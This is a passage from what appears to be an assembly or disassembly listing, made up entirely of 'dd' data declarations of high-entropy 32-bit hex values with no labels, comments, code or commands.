0AA63A14Dh dd 7960F06Ah, 9CF580DDh, 4B30A11Ah, 6CF97E66h, 9C051D11h dd 0C50E9978h, 2799D51Bh, 266D6839h, 0BA8832DAh, 438715D6h dd 0EE9BC57Dh, 4E01FB17h, 0D69E06A1h, 0F7552595h, 8523938Fh dd 0DF29EF7Ch, 0E148FC6h, 491274ABh, 4BBCC6ECh, 47C9DC16h dd 6C17F1BAh, 0A4BAF569h, 452B61EBh, 0BAA79E3Eh, 5A1DBEB5h dd 68854D38h, 34215FBAh, 54A1210Ah, 6CB6FEBBh, 0E8E619C1h dd 0D41A211Dh, 0A8755305h, 1E469D67h, 1D9E04CDh, 7CB1F8F2h dd 220CC855h, 0A4278266h, 0BAA89C58h, 6D90B483h, 82996F55h dd 2A52D3B4h, 2E712104h, 7C52DC2Eh, 0D20E6E5Eh, 0AD754217h dd 62478EF8h, 43E3E517h, 0FC597F37h, 54A6AB37h, 41B00920h dd 0CC8D739Dh, 0F476E8B6h, 0BE9852Dh, 0DAEEDF86h, 8C4678CCh dd 0E5F39F8Eh, 0A480B0D6h, 0CE41E249h, 0FCB7E646h, 41011A59h dd 59B9771Fh, 883446h, 3D53CAECh, 28F0D77h, 45C8E105h dd 7B57C965h, 594E3851h, 4DF41B3Ch, 465D5068h, 67EE9E6Eh dd 3BA38139h, 80F23598h, 36FCEE85h, 253BF5C6h, 9CB4BAF4h dd 7203DC1Eh, 15797270h, 0B96EDBAEh, 55855512h, 29000D85h dd 37CCA309h, 0E8AEC299h, 81F52339h, 0F5B77D55h, 9ADCB0F7h dd 0B8403F38h, 60DF9CE9h, 4FF86F93h, 4E1D2ABBh, 0BFD40CA3h dd 1C60FBAFh, 9E1EBD71h, 0E08F586Fh, 20A9F50Eh, 6E497F89h dd 0BBFEF54Bh, 65A1BB49h, 45F7DA7Dh, 3F3FA039h, 59AE4974h dd 0A3C6724Bh, 70E88D80h, 2B5BFD1Fh, 75786A1Ah, 0C072E6D2h dd 0AA4F698Fh, 91199881h, 0EF85791Dh, 0D4EB71B6h, 8CA7C770h dd 641F6E4Ah, 0CB93C755h, 208C50B9h, 57F85DBEh, 0C9DA1F96h dd 0F946E71Dh, 85ABD838h, 0E386C17h, 3C574451h, 8CF4A2h dd 5EA7B0F5h, 0DC293CFFh, 82958B9Eh, 0CF4D5F82h, 0CA71E34Eh dd 81C46EC9h, 0B04D748Eh, 7F5E7D9Ah, 94120335h, 0D1661322h dd 7E6AB15Eh, 229A1D2Dh, 4AFDB171h, 0F0AE773Eh, 776ADC66h dd 0D9E95D76h, 64FF3053h, 0E8864D80h, 5793D114h, 0D90EE0EEh dd 3957271Eh, 0AF47E4C3h, 0F1C55EF3h, 45FADC91h, 9AD18E64h dd 12E5804h, 1BC3F227h, 66B407FEh, 8C7E3B55h, 0D2FC3D48h dd 260D67E5h, 64DC282Ah, 0C51FE5CDh, 22DD0E87h, 0DBEF9DA8h dd 41147E22h, 0DBF3FA76h, 0B871F91Ch, 0B449F705h, 434AB323h dd 0BDECF6DDh, 0FB72E7B7h, 8F49D389h, 0FE53D9A9h, 0BD19888Dh dd 3796B74h, 920B7A8h, 0E95D6FBAh, 0FAF17917h, 2EB30A78h dd 5B670954h, 0F970EC39h, 0DCAAB79h, 90361908h, 0ED612310h dd 0C3BDE93Ch, 0D21F2B52h, 6D60FDD6h, 922C5893h, 0A36A385Fh dd 0F51EAA6Ah, 0DBB94C27h, 0D976C14Ah, 695C9703h, 0A625B672h dd 0F09AF76Eh, 0FD44B56Dh, 65022C82h, 6F2FC03Fh, 0A3E2D2AFh dd 0DD738D9Fh, 0A76D7E27h, 0E1E1C3E8h, 4FCAF8FCh, 6159F9ADh dd 0C2BCF2E1h, 0E0D7A38Eh, 1CBE5D7Bh, 0CB10D48Eh, 2693B456h dd 0E5009395h, 0DB711485h, 0E323A586h, 10CB4C2Fh, 0BF7010ABh dd 27FC35E4h, 59CA9FBEh, 682DFDDAh, 1BD04B65h, 1B9AD7FCh dd 0D62E3DB5h, 9846BD07h, 8AB1420Dh, 77EC0A8Dh, 1B4BB607h dd 0E92884AEh, 6E91A82Ch, 167F3895h, 0D4AEFC2Fh, 9B10F439h dd 58358CEEh, 0AC3CDF77h, 4591FBAh, 8354FE4Eh, 53C2EACCh dd 0ECD9D28Ah, 0AF412211h, 31E910Dh, 0A44EBC54h, 0FFAA56BBh dd 4F8E5BB1h, 4A3FC4E1h, 9E169830h, 20764457h, 734E476Eh dd 8F35717Ch, 0BD779086h, 37B1E800h, 0F87C8F18h, 0A6D75928h dd 75F0A20Ah, 2F6DC558h, 0C64AEDBCh, 0C56CF8B8h, 0CBF3999Eh dd 4CE0BC2Ch, 1216AACBh, 2339316Ah, 42D08525h, 56C44EFCh dd 540DF64Ch, 2CCCCEE9h, 26BE77h, 9A873023h, 0EFD370DBh dd 0AFC77F16h, 0BBED987Dh, 46893454h, 0DD82ED8Ah, 3B6332BCh dd 0B2AB6153h, 0E4E54275h, 53A1A29Ah, 7AB1BD9Bh, 1D3536AFh dd 76891B4Dh, 0D96E6CEh, 0CE7D3A5Ah, 0CCE52A5Ch, 0FB2E19BAh dd 0C68FEC23h, 0E2939E4Bh, 1C1FE0B9h, 8F0FEEDh, 0F2B9AB3Ch dd 797C1133h, 0BC7C1C13h, 35511B34h, 3B627CF6h, 8D4B2E28h dd 32942A0h, 283ABCCh, 9B9B12B3h, 0B8539A41h, 0C85F1F97h dd 545F36A9h, 0F3DA5A5Dh, 1CCAAFBBh, 0BAF7DC8Ah, 0AF8CC24Fh dd 0FD5B0490h, 5EEE74D5h, 3ACE5D59h, 0C7C0B859h, 0FF11C472h dd 88B8F493h, 0B43CB408h, 0ACDCBB82h, 0EE4597F0h, 0CEA74C73h dd 7EC7B907h, 94C0CF73h, 0A50B451Bh, 0C093343Eh, 9D6D0029h dd 0B91B612Ah, 791EFC2h, 5384652Bh, 0D576613Dh, 0BBDEE4BBh dd 6715D2Fh, 7B8A7674h, 0B086E6BCh, 268F88ADh, 59FA5A91h dd 0FBAB023Fh, 148B1608h, 0DD4487E0h, 0E9BCF959h, 3C3148F7h dd 65797547h, 0D3E49BC5h, 0B64A41F6h, 0B3D383C1h, 189D9CDEh dd 1E4FA76Fh, 0C2B69B7Ch, 0C3252CD0h, 6ED551E7h, 2D55D9F8h dd 0BE71B997h, 0E53CD0C2h, 15BF49DEh, 0AD5D9ED9h, 53C328A7h dd 0C290631h, 0E1781757h, 4E6FD153h, 9B2CD928h, 0CEC053BDh dd 62D3166Dh, 8CB90327h, 7804F127h, 0F4E9C944h, 0A76E0D6Fh dd 60647C3Ch, 0A929B99Eh, 96993E11h, 6960AFCDh, 0B6E79CFEh dd 0E0737680h, 0B630CD5Fh, 3DBB4190h, 6D0B52C8h, 0A578DE79h dd 45EA7D61h, 7C1EF768h, 475CA05Ah, 0A0266F60h, 0DAC689D7h dd 70D88FD1h, 4F03683Ch, 137622h, 72171B07h, 0BC07C472h dd 7DC6D705h, 0E4D4CE0Dh, 0F48D8F7Ch, 0AED68F4h, 34533623h dd 977C32h, 6D006C9h, 7CDF851Dh, 0B04179AFh, 0A7503D7h dd 5DB541B2h, 0EB7B1A3Ah, 25C71E65h, 0ACF772EDh, 56323A9h dd 1DBEB4F4h, 0B0D57B20h, 0BFB0E019h, 35CE9FA7h, 6EBB3437h dd 0BBC083ECh, 40895E77h, 0B430F938h, 2D975759h, 86C8B39Ah dd 84355B52h, 4F0DB5B4h, 50B1D8FBh, 6D0427Ch, 0CCE7A469h dd 0FFA9A44Dh, 0F3B08113h, 9F0AF6CAh, 28C422Fh, 0EA63CB68h dd 698FA89Bh, 0C61EE5h, 0D860A701h, 7E180CECh, 7B6B6D2Ah dd 19EA41F6h, 9C67B2F8h, 0B9BB4998h, 0AB2FD85h, 0A431B06Ah dd 3EC46B05h, 0C88529FFh, 40088BA4h, 1F1A49DFh, 4E436AEAh dd 2A13756Fh, 0FE2BC7C6h, 0DBA0E3D4h, 0D682DFA2h, 6EA38FB7h dd 0D451B6DCh, 72C650C0h, 4946F167h, 0F4CAEB7Ch, 7AA6849Bh dd 35B77FD6h, 146D1921h, 255C8A26h, 0EC3CCFAAh, 780520B8h dd 0DCC7B50Ah, 0DA3E8281h, 83C9C392h, 0A106086Fh, 0D1F28264h dd 7087B5CEh, 7E406AFAh, 2BF08DC7h, 0F8258A0Ah, 0D79E92A9h dd 77E115CCh, 0BCCE1BF6h, 36E6CC2Ah, 920FB5Dh, 948921AEh dd 0F087BADDh, 0FF306748h, 0CC1FBF73h, 7824A065h, 5759BEF4h dd 0D94CB71Dh, 0BCFCB3E1h, 0D1D31272h, 89F74FD8h, 551CBFE8h dd 0CBCC3D0Fh, 581D2821h, 133A511Bh, 13BE3123h, 0C30831BFh dd 0FB53A73Ch, 9381B774h, 3EFC3D8Eh, 6D8AF527h, 6ADB458Eh dd 5B094432h, 762FA22Fh, 88638E42h, 0F55DAFAEh, 0B137FE78h dd 0DF9CF097h, 0FADB47C6h, 262BDF7h, 0A826712Ah, 0FFF75D61h dd 8BD34C3Eh, 16F214Ah, 0A1ED726Eh, 55872F5Dh, 0B7A0247Fh dd 123726FDh, 0DC932CDCh, 25939BFh, 0EB6A39A1h, 0E4C3ADFCh dd 43A46271h, 3E9AD755h, 797463D4h, 0CB560FBFh, 1F619A0Bh dd 106955F4h, 34FC372Dh, 83D7F5BCh, 449F7A2h, 453D6A5Fh dd 6F937DCDh, 1FCD8524h, 0E886E452h, 0E07E4118h, 5E29A6C7h dd 51FE8639h, 14408EE5h, 0FB72ADC7h, 7A252AB7h, 294E72CCh dd 0A260B2C3h, 0B13A5C2Ch, 93AE3870h, 61E0350Ch, 13CD61B6h dd 6719EECh, 2E52C518h, 609C0EC8h, 5ACE8896h, 364AF51h dd 8302480Ah, 332DE901h, 0D372259Eh, 0F33C777h, 0D92D8CF1h dd 151759Eh, 439FA037h, 50FE4F0Bh, 0A24B0C67h, 6DC244E8h dd 0E88360CDh, 559713EDh, 93B8F4A4h, 8F853E25h, 32532F4Eh dd 0D8637B22h, 0DA1E6B7h, 8EE69722h, 1475E01Dh, 921B8BAEh dd 10A3EA7Ah, 0B83B43E8h, 0B0A6539Eh, 0D1F20F11h, 0B8F04330h dd 94E3F575h, 40EC1540h, 0AC020627h, 0FF0696B5h, 807FAAEDh dd 0D5E7D0A3h, 6E9A50C7h, 202E1C8Ah, 60CFC457h, 66D1BA58h dd 1DB6B650h, 3D8D8F78h, 0A6F06C17h, 4DD7E181h, 1A54B6EBh dd 30F92D64h, 17FD2E38h, 0ACF61E96h, 6761B761h, 26CC95EDh dd 0EAD6491Ch, 3B8AA46Dh, 0D62DB492h, 0C1C40FAh, 7EEBBADDh dd 349840B9h, 1D346607h, 4DA0A267h, 0E5CB7479h, 0C994F464h dd 3CF909F7h, 0B828F3C9h, 4261FE38h, 0FF67BBCAh, 0CF160481h dd 0C3C261B8h, 63CC5BA4h, 8828283Eh, 1D425B89h, 80A47F2Ah dd 901E9BF9h, 0A0CC1A54h, 377BC9D2h, 2E28F53h, 0BAB2222Bh dd 7EAE45C0h, 12DB1BCh, 443A9164h, 0B016A73Eh, 0E46E8EA9h dd 697DBEB4h, 97D1F981h, 0E6ED0E36h, 0F6852C5Dh, 3E98DE6h dd 6D20B63Fh, 0B018F3DCh, 0D4670746h, 0D462625Dh, 0C4CB1DC2h dd 38F8915Ah, 135302A5h, 5457AD25h, 77181C06h, 903A737Fh dd 390A4DBBh, 0FDD8B9C6h, 315AA3D0h, 0DF2F924Bh, 4DF5D274h dd 508DAED7h, 576EB846h, 857A9DB3h, 0BE9FCA3Bh, 74B87242h dd 6A61AB64h, 864C8235h, 2FBABDEFh, 0C8379F3Bh, 0FE088F3Ah dd 86D74F9Bh, 52E7B3CAh, 7DA66FC8h, 3812F7A3h, 0DBFEE6BFh dd 0B3C23951h, 48D73029h, 9D320385h, 466B952Dh, 5208018h dd 0AF3E7C69h, 0F48B51C6h, 11484831h, 2338514h, 9276DBA2h dd 0A872BBE7h, 93B2DADEh, 9C0756ADh, 0A5E53A02h, 4F7802E9h dd 2C793174h, 0D0873016h, 0DDDA122Bh, 44870002h, 4F4FFA90h dd 1EB9357Ch, 53E66D8Dh, 5A3A7394h, 85D88728h, 0C62796D9h dd 9AF093B2h, 356D262Eh, 0A5460661h, 0C5B9B01Fh, 43A20F3Dh dd 7C8A7FA5h, 2E384F0Fh dd 0B58D7CB4h, 0D0E1BBE2h, 5883E8CDh, 18DF7FAh, 0B44A112Eh dd 7A2B504Dh, 0DC77B083h, 0E3F7FDA3h, 19FC4FFBh, 35590CC7h dd 4DA042E8h, 0DFA1EE13h, 0DFE50BC5h, 18F6757Fh, 8D463ACCh dd 537FE102h, 0CF63C136h, 6D8D81Dh, 0F2A70Dh, 0B890C14Dh dd 3FBC7C67h, 37D39068h, 5E1BCD01h, 0DE03FD0Fh, 9B38583Fh dd 0DAB7E01Bh, 0BC6FD355h, 0D72C40E1h, 62F3E09Eh, 0B900A59h dd 9CAA7A06h, 0D15286C4h, 0B8CEA5E1h, 58D7A2DAh, 0F19B0641h dd 0B84575CDh, 0BA504D39h, 2870D53Eh, 0BB9AEE23h, 0C3B5DF00h dd 42596E4Eh, 152E5A02h, 40E2F500h, 74512FB6h, 0F104BDA3h dd 0EBD05C2Dh, 5B2E312Fh, 566BE808h, 0EA5F1C8h, 6C02A181h dd 0FAAFAD2Ch, 0C55C87Eh, 0AFA4F64Fh, 0F006D691h, 0EEDD1114h dd 98B5FE7h, 7D272672h, 97ABDC96h, 60171D1h, 19D16C63h dd 662CDA41h, 30162FF8h, 6CD2416Bh, 8CF27F10h, 6CDE7B79h dd 7CAD5E7Fh, 48D96EA9h, 84CE1B2Bh, 0A2AE75E7h, 0C2FC0CE7h dd 23CA24B5h, 2FF986Dh, 0B01A61BFh, 42411762h, 32DA51D9h dd 3800F09Fh, 37987A0Dh, 98759D11h, 0F64C716Fh, 4754F85Ch dd 716550A4h, 883C0FA7h, 0BFC846ACh, 605409FAh, 3D93F5E1h dd 0AF368459h, 70B88F7Bh, 0B9F263C5h, 52DBE219h, 8265E063h dd 7B216ACh, 0C238EE03h, 0DEA7E7EAh, 900D1026h, 0A5A382BDh dd 6305165Ah, 52716D17h, 4D5A1A80h, 9A140F47h, 0CEF4BF85h dd 87F52F96h, 0BCE07201h, 6E98B809h, 579C7E16h, 3A85E7ADh dd 8738A333h, 75C3AC87h, 1093E28Bh, 99E07238h, 0D117DEDDh dd 788DBCC0h, 0DD5DE25Fh, 0AEB9C2DAh, 0EF07D742h, 43D5E721h dd 68A84720h, 0C3AABFE5h, 0E4A3B87h, 0E85A991Ah, 0E7B4669Bh dd 0C546889Ch, 0E003FB9Eh, 0AE5C3A15h, 0CDC180EFh, 8C9825DBh dd 4916653h, 42C8D333h, 86BFBC0Dh, 742098F7h, 7BAC927Dh dd 6C7DB1AEh, 0FD719DC7h, 9E841679h, 51B001CCh, 0B7193F3Fh dd 63C97A72h, 0DDCE592Bh, 30376760h, 0C3FAE90Dh, 6B5581D5h dd 0DB815529h, 0B4A9EFCCh, 4C6F8644h, 7B04D1D1h, 0BFDAE833h dd 4142B59Fh, 6E9D23D6h, 8844A604h, 0CA981910h, 55E34CCDh dd 2EF0C57Bh, 0F283C1E5h, 0A3F6E8A5h, 1871003Dh, 84B522BBh dd 70F1512Bh, 38F68A47h, 1C64A10Fh, 2627FA5Ah, 0E4DAC27Dh dd 571751C7h, 6B5FAB7Ah, 5A540926h, 87C67C6Ch, 2E0D61AFh dd 0C9B2E84Ch, 4EB09887h, 15923FC1h, 8C628E74h, 65177A73h dd 0BDDE9F2Ah, 1A7348CBh, 49591B3Bh, 9FD2883Ah, 0C2A50170h dd 0DDC66EBBh, 4BA50E49h, 0E1485099h, 754D1075h, 0F43A3BF2h dd 0E0D014B0h, 4977517Bh, 0E2E44223h, 9E05379Bh, 47588861h dd 2FD6370Eh, 0D9A0D915h, 6ACE2167h, 271D33D3h, 81324191h dd 0FCBD8247h, 0C4F0FF86h, 2DD0C1A1h, 7A53D4B8h, 0D209D4Dh dd 12CB8230h, 431437FEh, 964CF28Fh, 0C4D5F04Fh, 7A150936h dd 8EC15CFAh, 36BA61D5h, 1FFD1238h, 2901BC9Eh, 0DB2464E7h dd 6FDC0617h, 707E659Ch, 79F7C2DBh, 3DECE394h, 897ECBB1h dd 0CC4DD881h, 5DF200ACh, 0F635FB2h, 0AC0EF921h, 8331A838h dd 7341DB9Eh, 35D3ACBAh, 1287FECAh, 0D229D722h, 90212732h dd 5776BA59h, 4F932C5Ch, 10B25797h, 27931D47h, 0D7679867h dd 4E7BB848h, 0CEDDE38h, 1A0A32B1h, 1C9C7E64h, 1C7A6289h dd 64201EF7h, 77BF14A4h, 0C4333A28h, 90479165h, 51362406h dd 1A9EF3DAh, 1AA061FAh, 8AF48F78h, 6A75FE9h, 0B88618C7h dd 45A41D66h, 83022717h, 378DE8EBh, 0AD69A632h, 0BFAD1DF9h dd 0B34F8789h, 5A9D3A10h, 5E495778h, 849AE52h, 0C4416014h dd 9C47A2A0h, 0E3BFE284h, 0F68070E0h, 9E7A15A7h, 4B4E3AF4h dd 79A423F0h, 0D88859FCh, 7791C5CAh, 9C5FC085h, 55F3551Bh dd 0D6436936h, 2841D3E1h, 0ADC375BFh, 0B5C3FBD1h, 3E0823D2h dd 7F950E7h, 0F8A269Fh, 47659D8Dh, 3BB9D77Ch, 31B30297h dd 0EB033D89h, 71D09C5Eh, 6D7280A7h, 0B6CF7B18h, 9C9A3AB5h dd 38F62D1Fh, 73609D31h, 3E662674h, 3E8491E9h, 738F0234h dd 0D2371341h, 0A103947Fh, 2626FF08h, 95FB1C2Ah, 505A4D63h dd 0BF18FCC4h, 0FB567AB3h, 0C331ED7Ch, 97B247DDh, 0DAD89877h dd 0C898B1D1h, 4D02600Ah, 4B3AA992h, 957A579h, 0B2639657h dd 0B1902E07h, 8591FF70h, 0D864F5DBh, 7FF4CF26h, 3525DFCBh dd 31863179h, 0BE950ABFh, 0C0207F67h, 0B107B94Ah, 0EE34B9D2h dd 0FF9B5D4Fh, 0C9853F7Eh, 7DB317CDh, 1052A083h, 0A69151CBh dd 0C13587AAh, 9641A36Eh, 4FFFF132h, 2BE394AEh, 0D3264D24h dd 0DA6B0FDh, 0BA67C6EAh, 0B61BCB64h, 0CC632C31h, 17A90C5Eh dd 0BC1979A2h, 59758ACFh, 0A50A7FFh, 2893787Ah, 17E7D3C3h dd 0B5488D01h, 202FDEEEh, 0B241178Ah, 5B968B4Fh, 793D8C1h dd 793CE543h, 88016E2Ah, 8BE9729Eh, 9EFCA47Bh, 0F9B8FF49h dd 43AC191Fh, 79B4549h, 0FB62A9BFh, 9106F6ADh, 79AF7217h dd 802E848Fh, 0A7B06E5Fh, 1C857E5Dh, 5052CBF9h, 0D603D23Ah dd 0E6BC3h, 0DE16BB79h, 0DA1C1488h, 0D840061h, 0F803D195h dd 4ABE4147h, 2D1E7A7Dh, 1A501559h, 56DDFAF4h, 1A8538C4h dd 4E413FB2h, 530732DBh, 0B7D8CF10h, 7768EC7Eh, 30F75788h dd 7647A499h, 4A0051C1h, 817A3929h, 30B07456h, 122B0ABAh dd 0C3E1C05Dh, 0BB967CB1h, 0F3B3BC11h, 0D139A00Fh, 0E0C38F46h dd 9C6263h, 0E50F627Ch, 3BA7F923h, 3E379162h, 0ECB6F7D4h dd 92338C34h, 8A6FD307h, 5F15F337h, 159C8EF7h, 0D46D903Ah dd 724A49EDh, 2A3D0427h, 6A8527BAh, 0DDB51A25h, 339AE887h dd 6D1DC0A4h, 2BD788DEh, 8BB34EE7h, 64C199EAh, 0AFBC968Eh dd 0F38928FBh, 0AF75439Eh, 0BACC0874h, 0AE921E4h, 34EB5A15h dd 7BAE6F60h, 1B509E99h, 4F91C28Eh, 7D8CE006h, 74A9C17Ch dd 97A894B6h, 0A625EEB1h, 1A274B7h, 0A2261C67h, 9CCEAD43h dd 0B331CA05h, 57412147h, 4B2FEC30h, 3B2E62BCh, 385FD5E8h dd 0CB8307AEh, 4AC310FDh, 5A2E8A10h, 402DDF63h, 0D6152398h dd 89C849B8h, 70A17712h, 0FF14B8F8h, 0DCA57D52h, 0DB505819h dd 8FB8D513h, 3A61897Ah, 5C9BA130h, 0BC41A1A7h, 1D394422h dd 0AE9051EDh, 0FA3CFD2Dh, 56F483F0h, 2189B1EDh, 0F9EC659Eh dd 2B08997Bh, 0A3074FB7h, 2B16F0CDh, 0BCB8DD70h, 50D5A60h dd 1E473205h, 7382E485h, 208FEF13h, 48B80D96h, 0C2D52119h dd 27FFBD8Fh, 44A469E2h, 0CB9B55BBh, 90FC9B86h, 3175FC34h dd 3607949Dh, 0F4333Bh, 1BE53939h, 0CDFFDF9Eh, 9389254Bh dd 3C80D2BBh, 0F6A48443h, 0BCB4C6B6h, 46FBF2D1h, 0BD11A1CAh dd 1BE71DC0h, 0B306FE69h, 23159663h, 2020A16Ch, 9C47E584h dd 724BE70Bh, 0B95D2B7Ah, 158CAB2Bh, 0FABDF148h, 184327F9h dd 254B046Fh, 0EC79141Ah, 0E852B57Bh, 0D5497D91h, 86529CDFh dd 37090AC7h, 210F3885h, 4E16F11Eh, 0F16E8861h, 642190B2h dd 8AE74333h, 0F65F4D04h, 0CD33F388h, 0C007260Dh, 35DD7116h dd 15032788h, 3E588CFAh, 0F3BC3D8Eh, 0C3A7AD8Bh, 6E2A754Ah dd 7FE3C782h, 0A6F8D526h, 0D00B8E7Eh, 0FE11A548h, 0EB4B1387h dd 0E771049Ah, 840A9192h, 0B6094C76h, 0FCAD8C1h, 9F544A54h dd 7B719EA1h, 0CE18DC22h, 0DD39A9D7h, 88958438h, 5BA3F059h dd 7F71AA3Ah, 95E06D41h, 0FB55E228h, 6BDBF6B6h, 0D0076FDFh dd 7FA02F86h, 0BD73E93h, 3A9EF0FDh, 0B97CFC32h, 33E6EAE0h dd 92BA9E49h, 6709562h dd 0A909AD8Ch, 281B1F72h, 0A5C4D365h, 0C0B780AEh, 3AA33E31h dd 0BEE4DE06h, 1D52502Fh, 0CF6AA412h, 6772813Eh, 77D4FC61h dd 4714B060h, 0B0E8A6AFh, 0C9FA24ADh, 7AAF5268h, 21ADAAD9h dd 185B57h, 7BA8AFC3h, 166E8002h, 4FB8490Eh, 0B478ECD1h dd 2513AB0Dh, 0E7D2A42Fh, 622E048Fh, 267AFF3h, 39FE6D8Eh dd 18A68E7h, 5D0F26AEh, 0DC2738F2h, 0DB54F3B5h, 0FEC359E0h dd 8AF0154Fh, 0E19008F8h, 0EFBBC06Ch, 4481F77Eh, 65462BE5h dd 7F699002h, 0EB56F134h, 0DF1B5B5Dh, 0DD827A98h, 6E81BB18h dd 1AB88C28h, 3B76C1D4h, 2EAE81DEh, 5399D3DCh, 0F1DE92CFh dd 19C0A54h, 7C4CB170h, 4966A466h, 56ED8BA2h, 1955D86Ah dd 18659D86h, 0A8FE5461h, 38AA6F8Fh, 0E8595B4Eh, 0D5CD2638h dd 6660F8DEh, 4A0497F2h, 841D0A1Fh, 0D851F9F0h, 9C80644Ch dd 0F9BD2994h, 8C4BE259h, 3DCB1BDFh, 0CE356775h, 525687B6h dd 9987F0C7h, 0B51829DBh, 0CDAB11FBh, 2F62A773h, 42B4D03Fh dd 0D812469Eh, 0A2DE897Ch, 441E3AC9h, 1C79CEEFh, 2DD45D04h dd 68B66AB3h, 9E4311FAh, 1B107315h, 0E93401CEh, 9FB866CDh dd 0D925D3F6h, 0FC68026Bh, 90599CABh, 58B9E978h, 78786A12h dd 17F4509Fh, 0C3A40658h, 6E22FFB5h, 0D4809746h, 0D31307CEh dd 0A6C56A60h, 22C2B7E1h, 739941E5h, 93E15137h, 0CFC43566h dd 9C4762Dh, 0C3D0824Ah, 0E32D2753h, 5E5D6C14h, 77827058h dd 0DA5D597Dh, 947935C7h, 30B1D98Bh, 86BD2542h, 3A87B321h dd 706FC303h, 0EB97E085h, 87FDE799h, 4967AB73h, 5A556FA4h dd 0D5E5487Ah, 677E9647h, 8B4F8382h, 11BF4ED6h, 54BA83E2h dd 0C1C655BFh, 2BF7595Eh, 0CB8283EAh, 6EB5CCDDh, 8C79E532h dd 0F1F4F5EEh, 92E3D94Bh, 5170AC1Dh, 1655635Eh, 0E00FFEB2h dd 0F05BA4EEh, 90037569h, 0D571D6B3h, 0C31EA321h, 0E2215139h dd 4074979h, 0C7A6C1E9h, 4ED2363h, 0EAA39290h, 915307E2h dd 74A7463Eh, 6C92F70Fh, 308F18D9h, 0EE714B84h, 8AC58CE7h dd 1D0B9E1Ah, 2DD2D55h, 0C1ADD1EBh, 0DE4338A3h, 69F6DF63h dd 26CF3BDCh, 3C077088h, 0B7A18216h, 3B0C9BDDh, 0F1456889h dd 0E06A23F1h, 6E8C59DDh, 3019C1DAh, 0B970B292h, 0D4039427h dd 8DDAB8EEh, 9B979219h, 36E6F940h, 0EC17B10Ah, 0BFD048DDh dd 0C3BD2C39h, 81B2103h, 9D7481D7h, 28CA89BFh, 86BFDA0Eh dd 355619FFh, 930DE39Bh, 0F17F465h, 0D2CE8DD2h, 31A47B2h dd 0D731901Eh, 0F22618C0h, 7A085598h, 0E589D81Dh, 3491771Ch dd 5E56ED33h, 24E5B268h, 9C5F4B9Eh, 4BB9216Fh, 0F628D115h dd 23970F10h, 0CB9E7F21h, 1C6D7D56h, 4E36393Ch, 0A323D4EDh dd 0D50CD5F1h, 0E6960F62h, 0A386F5CBh, 0F8F320B1h, 0F11D02Dh dd 0F7FCDD9Ch, 2DA5F332h, 5FDC480h, 7639BCCFh, 0DCCBD55Fh dd 0AEFA97F5h, 0A9D39048h, 0D9D098B9h, 378D427Eh, 90360AD9h dd 169A9ACEh, 6DD8DB4Ch, 314B46C8h, 390EBCA5h, 0E1FB8A70h dd 4D4EC398h, 4E62A110h, 0A3A4FF19h, 2BF66888h, 0D9C9F087h dd 5156B543h, 0A4639CD9h, 0AECC1225h, 41CF14A9h, 6EBF2960h dd 78FE6F1Dh, 99039A8h, 0BBDF01C0h, 866E60AFh, 96243CCh dd 47605D5Dh, 0F9068743h, 362CB279h, 5BD9FE83h, 0EFF377E2h dd 492A6462h, 0A6FFC59Fh, 0F59D0012h, 33536D5Bh, 3B6457h dd 7301E490h, 5922BFAFh, 0D908852Eh, 7E38BB4Eh, 98E72E76h dd 0E226395Bh, 0F399FF3Dh, 0E02DB6A0h, 8D8F9B14h, 0A59794E9h dd 0F26EFDh, 0A6CECEDEh, 9B680B04h, 0B2DAFBA7h, 43D30C86h dd 0CC4B85E6h, 0B8B753Dh, 0E07508D9h, 19E01AD5h, 0C917EF62h dd 0AA095078h, 9B2D6C7Bh, 2DFE9923h, 8A4551Bh, 0AEE0343Ah dd 0EA93B462h, 211F04F6h, 0AD298298h, 0B3066B99h, 9E3BCA1Dh dd 91DAE8BEh, 5C8B2786h, 0F6FBB158h, 0B11C6FA9h, 57238370h dd 906D1DEFh, 76652F50h, 0AC890DECh, 0B7935A02h, 0DCE4B14Dh dd 93A33B12h, 0FCBB482Ch, 8F2AB925h, 0F32C8D23h, 956C609h dd 0E4E511FBh, 0B5C4E9B9h, 0C5F6381Bh, 9E704473h, 319794F8h dd 0F77B827Dh, 0FE2B9034h, 543E3014h, 3D5533D6h, 75A36264h dd 0B4FEFB69h, 5E9D6F67h, 0F2BDA576h, 0DD8710E6h, 0F685F2ADh dd 1B1CF9C2h, 0CC895452h, 97307080h, 0A5541F63h, 213A441Bh dd 2A1A0949h, 11D560B9h, 4ECDC242h, 3D137119h, 27CAEEB4h dd 6397A97Dh, 3AA0FA7Bh, 0F917AFADh, 0B89F6B52h, 80CCAD34h dd 0D22D696Eh, 488CEDC9h, 82FC0411h, 0FD95F863h, 0B9CED543h dd 0B476A49Eh, 0E01CF3EAh, 0B50F66C0h, 1782AE59h, 0C9D92FB9h dd 7B1E7833h, 429FDAA6h, 0F02B5152h, 4B046947h, 63B80BB3h dd 5A299218h, 2C6FE7C2h, 0F0AEE6CDh, 98C549Ch, 63D422F0h dd 79D7A668h, 113CAA5Fh, 3FEBCCE8h, 4BDAD6FBh, 8AE5AB6Eh dd 0D9DD9D0Eh, 0A0C5FDD3h, 980576E8h, 0D1117DE3h, 0B1039A5Fh dd 0EAEFA18Bh, 2F920C1h, 62759C7Fh, 0D2083F9Ch, 1E600E1h dd 0C5897475h, 3255BC77h, 41844C7Fh, 0C90F5408h, 0D89514C9h dd 12FDBA0Eh, 0EF65FF47h, 0D7688378h, 59E41007h, 19B83B8h dd 68813E5Ch, 8F2F098Ch, 89F784DDh, 70EA04F0h, 1BF04253h dd 418FD672h, 919B4B10h, 6B780C7Bh, 9AEE0BECh, 0FDF0739Fh dd 98F99458h, 0BA8CDC9Bh, 0CF78B09h, 8327B8DAh, 64C2C0E8h dd 28EBD0E9h, 2220E0C8h, 135B1E2Eh, 0C82A24F9h, 4A7523A4h dd 5EA4577Dh, 45112A3Dh, 68A8C6E7h, 0C80602EEh, 0C72D5EECh dd 0D5E0A99h, 0EED5B158h, 0C4FE206Dh, 844CAA6Fh, 0C2F1C011h dd 0FCB33585h, 1C6C731Eh, 8B8EEA2Eh, 0A1E6C0DEh, 0E4B5BA91h dd 3CC13021h, 0EFED2A42h, 73ACF390h, 13F7E03Fh, 27BEDEAFh dd 0BD803751h, 0B7EE1B20h, 3527EB2Fh, 0C315B2A7h, 3D730F0Eh dd 77E60DCFh, 0FFD00BA6h, 0C2128425h, 0BAAF4C43h, 91B276A6h dd 0AE1A4A55h, 0F40F692Ah, 0E3442244h, 96949D65h, 8845AC14h dd 31159307h, 3A32B512h, 0C6CB829h, 0AD49DE8Dh, 9F8C86E3h dd 3653A077h, 324E5719h, 9E624BE3h, 6C615F9h, 